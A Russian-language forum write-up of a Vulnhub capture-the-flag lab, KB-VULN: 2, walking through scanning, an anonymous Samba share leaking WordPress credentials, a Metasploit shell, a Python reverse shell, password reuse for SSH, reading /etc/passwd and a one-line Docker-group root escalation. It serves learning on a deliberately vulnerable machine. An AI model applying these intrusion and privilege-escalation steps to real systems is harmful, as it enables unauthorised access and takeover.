![]() |
Приветствую!
Это продолжение прохождения серии коробок с Vulnhub - KB-VULN. Прохождение предыдущей машины можно посмотреть тут. В данной статье представлено прохождение машины KB-VULN: 2 ( Найти и скачать коробку можно тут KB-VULN: 2 ). Исходные данные: Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt. Машина, с которой проводится атака с ОС Kali Linux. Задача: получить 2 флага с целевой машины и права пользователя root. Итак, как обычно, ищем атакуемую машину в сети: Код:
~$ sudo netdiscoverИ просканировав её nmap'ом, видим, что открыты порты для 3-х сервисов: Код:
~$ nmap -A -p- -v 192.168.3.120А именно: 21 порт с ftp, 22 порт - ssh, 80 порт - http и самба (139, 445 порты). Для начала следует посмотреть в самбу, вдруг там есть что-то с открытым доступом: Код:
~$ smbmap -H 192.168.3.133Видим, что каталог Anonymous доступен для чтения, без авторизации, посмотрим, что в нем (пароль оставляем пустым, просто жмем ENTER): Код:
~$ smbclient //192.168.3.133/AnonymousПосле подключения, видно что в каталоге есть всего 1 файл - архив backup.zip, стягиваем его на основную машину и посмотрим, что же внутри. Распаковав архив видно, что внутри есть логин и пароль: https://forum.antichat.xyz/attachmen...8528362103.png Судя по всему, это учетные данные от админки сайта, но пока оставим их и посмотрим, что интересного есть на сайте: Код:
~$ sudo dirsearch -u 'http://192.168.3.133' -e js,htm,php,bak,html,txt,jpg,png,jpeg -w /usr/share/dirb/wordlists/big.txt -r -fТут сразу видно директорию /wordpress. Догадка подтвердилась, в бэкапе были данные для авторизации, но прежде, чем лезть в форму авторизации, нужно чуть-чуть подправить файл hosts: Код:
~$ sudo echo "192.168.3.133 kb.vuln" >> /etc/hostshttps://forum.antichat.xyz/attachmen...8529333396.png Учетные данные, найденные ранее подходят. Теперь есть несколько путей залить шелл на сервер - уязвимые плагины, замена файла 404.php, в темах (однако в данном случае это не работает, заливать придется через ftp) и др. Я буду использовать один из эксплоитов в metasploit, для wordpress, который требует авторизации: Код:
~$ msfconsoleВот мы и внутри, самое время пойти и забрать заслуженный первый флаг: Код:
meterpreter > cd /home/kbadminКод:
meterpreter > cat user.txthttps://forum.antichat.xyz/attachmen...8530023836.png Еще мне захотелось чуток улучшить шелл, закинув на сервер python скрипт, открывающий доступ к bash: Собственно сам rev.py: Python: Код:
importНа основной машине развернул прослушиватель https://forum.antichat.xyz/attachmen...8530558546.png И, из метерпретера, запустил rev.py: https://forum.antichat.xyz/attachmen...8530635271.png Проверка, какие пользователи есть в системе, показала, что, помимо рута, существует только один пользователь, чью домашнюю директорию мы и посещали (kbadmin): Код:
www-data@kb-server:/home/kbadmin$ cat /etc/passwdИтак, теперь у нас есть пользовательский флаг, стабильный шелл и имя пользователя. Если честно тут я завис на довольно долгое время, пытаясь получить доступ к учетке юзера kbadmin, пока не додумался, при ввести тот же пароль, что и для админки на сайте (MachineBoy141). И, о чудо, это сработало: Код:
kali@kali~$ ssh kbadmin@192.168.3.133Ура, теперь наконец можно начать получать рут. Первым делом стоит прочитать содержимое файла note.txt, который лежит в домашней директории пользователя, рядом с флагом: https://forum.antichat.xyz/attachmen...8531142871.png Подсказка гласит использовать докер. И тут я нова завис, я пробовал идти другими путями, но в конце-концов решил следовать подсказке и перелопатив половину интернета, я наткнулся на замечательную статью, объясняющую, почему следует отказаться от использования группы "docker" и не добавлять в неё кого попало: вот_она и соответствующий гит-репозиторий вот_он. В статье описана уязвимость докера, позволяющая получить root оболочку любому пользователю, который является членом группы "docker", рекомендую статью к прочтению (я вот не знал данной информации и для меня она оказалось очень интересной и полезной). Таким образом, всего одной командой можно получить рут: Код:
kbadmin@kb-server:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootpleaseПараметр -v, говорит, что мы хотим создать том в экземпляре Docker, а параметры -i и -t переводят докер в режим оболочки, вместо запуска демона. https://forum.antichat.xyz/attachmen...8532362718.png И в результате мы получаем рут. Теперь идем и спокойно забираем флаг: Код:
root@df1a42e8284e:~# cat /root/flag.txtС машиной KB-VULN:2 разобрались, так что пора заканчивать. Если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку, интересно посмотреть. Спасибо всем, кто дочитал этот врайтап до конца. |
| Время: 21:02 |